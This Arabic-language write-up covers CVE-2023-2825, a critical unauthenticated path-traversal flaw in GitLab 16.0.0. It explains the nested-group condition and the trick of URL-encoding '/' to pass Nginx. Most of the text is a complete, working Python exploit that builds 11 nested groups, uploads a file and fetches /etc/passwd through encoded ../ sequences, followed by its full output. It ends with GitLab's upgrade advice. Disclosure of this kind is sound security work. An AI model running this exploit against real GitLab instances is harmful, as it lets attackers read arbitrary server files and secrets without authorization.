
الإثبات العملي المكتوب بلغة Python لمستخدم ضار غير موثّق يمكنه استغلال ثغرة اجتياز المسار (path traversal) لقراءة ملفات عشوائية على الخادم عند وجود مرفق في مشروع عام متداخل داخل خمس مجموعات على الأقل. هذه مشكلة ذات خطورة حرجة.
في 23 مايو 2023، أصدرت GitLab الإصدار 16.0.1 والذي أصلح ثغرة أمنية حرجة، CVE-2023-2825، تؤثر على الإصدارين Community Edition (CE) و Enterprise Edition (EE) 16.0.0. تسمح الثغرة للمستخدمين غير المصادق عليهم بقراءة الملفات التعسفية من خلال خطأ في اجتياز المسار. تم اكتشافها من قبل pwnie على HackerOne من خلال برنامج المكافآت.
في وقت كتابة هذا التقرير، لم يكن هناك أي دليل إثبات للمفهوم متاح للعامة.
يمكن لمستخدم ضار غير مصادق عليه استخدام ثغرة اجتياز المسار لقراءة ملفات تعسفية على الخادم عند وجود مرفق في مشروع عام متداخل ضمن خمس مجموعات على الأقل. هذه قضية خطيرة (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).
لهذه الثغرة شرط مثير للاهتمام حيث يجب أن يكون المشروع متداخلاً في 5 مجموعات على الأقل. في اختباراتنا، وجدنا علاقة مباشرة بين عدد المجموعات وعدد الدلائل التي يمكنك اجتيازها. يبدو أن القاعدة هي N + 1، مما يعني أنه إذا كنت ترغب في اجتياز 10 دلائل، فأنت بحاجة إلى 11 مجموعة.
على تثبيت GitLab القياسي، يتم رفع المرفقات إلى /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. لذا إذا كنت تريد الوصول إلى جذر نظام الملفات، يجب عليك العودة 10 دلائل وبالتالي تحتاج إلى 11 مجموعة.
عند رفع ملف كمرفق في مشكلة GitLab، يتم إرسال طلب إلى POST - /:repo/upload. ويعيد هذا استجابة JSON مع رابط الملف، مما يتيح لك الوصول إلى الملف.
يتكون رابط الملف من /:repo/uploads/:id/:file حيث :file هو اسم الملف نفسه. استبدال :file بأي مسار ملف سيؤدي إلى عودة GitLab للملف المطلوب. فشلت GitLab في تنظيف مسار الملف هذا، مما يؤدي إلى اجتياز المسار.
لاستغلال هذه الثغرة بنجاح، يجب عليك ترميز / في مسار الملف URL encode. ستقرأه GitLab كقيمة وستقوم بفك ترميزه داخلياً. عدم ترميزه سيؤدي إلى تفسير GitLab للرمز / في مسار الملف كجزء من المسار.
في اختباراتنا، كان ترميز / فقط كافياً لتجاوز أخطاء مسار Nginx.
يمكن للمستخدمين غير المصادق عليهم استغلال هذه الثغرة فقط على المستودعات العامة التي تستوفي شروط المجموعات المتداخلة. المصادقة مطلوبة للوصول إلى المستودع نفسه.
إليك دليل إثبات المفهوم مكتوب بلغة بايثون. يقوم بإنشاء 11 مجموعة، وإنشاء مستودع عام، ورفع ملف، ثم استغلال الثغرة للحصول على الملف /etc/passwd.
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
import requests
import random
import string
from urllib.parse import urlparse
from bs4 import BeautifulSoup
ENDPOINT = "https://gitlab.example.com"
USERNAME = "root"
PASSWORD = "toor"
# Session for cookies
session = requests.Session()
# CSRF token
csrf_token = ""
# Ignore invalid SSL
requests.urllib3.disable_warnings()
def request(method, path, data=None, files=None, headers=None):
global csrf_token
if method == "POST" and isinstance(data, dict):
data["authenticity_token"] = csrf_token
response = session.request(
method,
f"{ENDPOINT}{path}",
data=data,
files=files,
headers=headers,
verify=False,
)
if response.status_code != 200:
print(response.text)
print(f"[*] Request failed: {method} - {path} => {response.status_code}")
exit(1)
if response.headers["content-type"].startswith("text/html"):
csrf_token = BeautifulSoup(response.text, "html.parser").find(
"meta", {"name": "csrf-token"}
)["content"]
return response
# Get initial CSRF token
request("GET", "")
# Login
print("[*] Attempting to login...")
request(
"POST",
"/users/sign_in",
data={"user[login]": USERNAME, "user[password]": PASSWORD},
)
print(f"[*] Login successful as user '{USERNAME}'")
# Create groups
group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3))
print(f"[*] Creating 11 groups with prefix {group_prefix}")
parent_id = ""
for i in range(1, 12):
# Create group
name = f"{group_prefix}-{i}"
create_resp = request(
"POST",
"/groups",
data={
"group[parent_id]": parent_id,
"group[name]": name,
"group[path]": name,
"group[visibility_level]": 20,
"user[role]": "software_developer",
"group[jobs_to_be_done]": "",
},
)
# Get group id
parent_id = BeautifulSoup(create_resp.text, "html.parser").find(
"button", {"title": "Copy group ID"}
)["data-clipboard-text"]
print(f"[*] Created group '{name}'")
# Create project
project_resp = request(
"POST",
"/projects",
data={
"project[ci_cd_only]": "false",
"project[name]": "CVE-2023-2825",
"project[selected_namespace_id]": parent_id,
"project[namespace_id]": parent_id,
"project[path]": "CVE-2023-2825",
"project[visibility_level]": 20,
"project[initialize_with_readme": 1,
},
)
repo_path = urlparse(project_resp.url).path
print(f"[*] Created public repo '{repo_path}'")
# Upload file
file_resp = request(
"POST",
f"/{repo_path}/uploads",
files={"file": "hello world"},
headers={"X-CSRF-Token": csrf_token},
)
file_url = file_resp.json()["link"]["url"]
print(f"[*] Uploaded file '{file_url}'")
# Get /etc/passwd
exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}")
exploit_resp = request("GET", exploit_path)
print(f"\n{exploit_resp.text}")
توصي GitLab بترقية جميع الإصدارات المتأثرة بهذه المشكلة في أقرب وقت ممكن.
https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/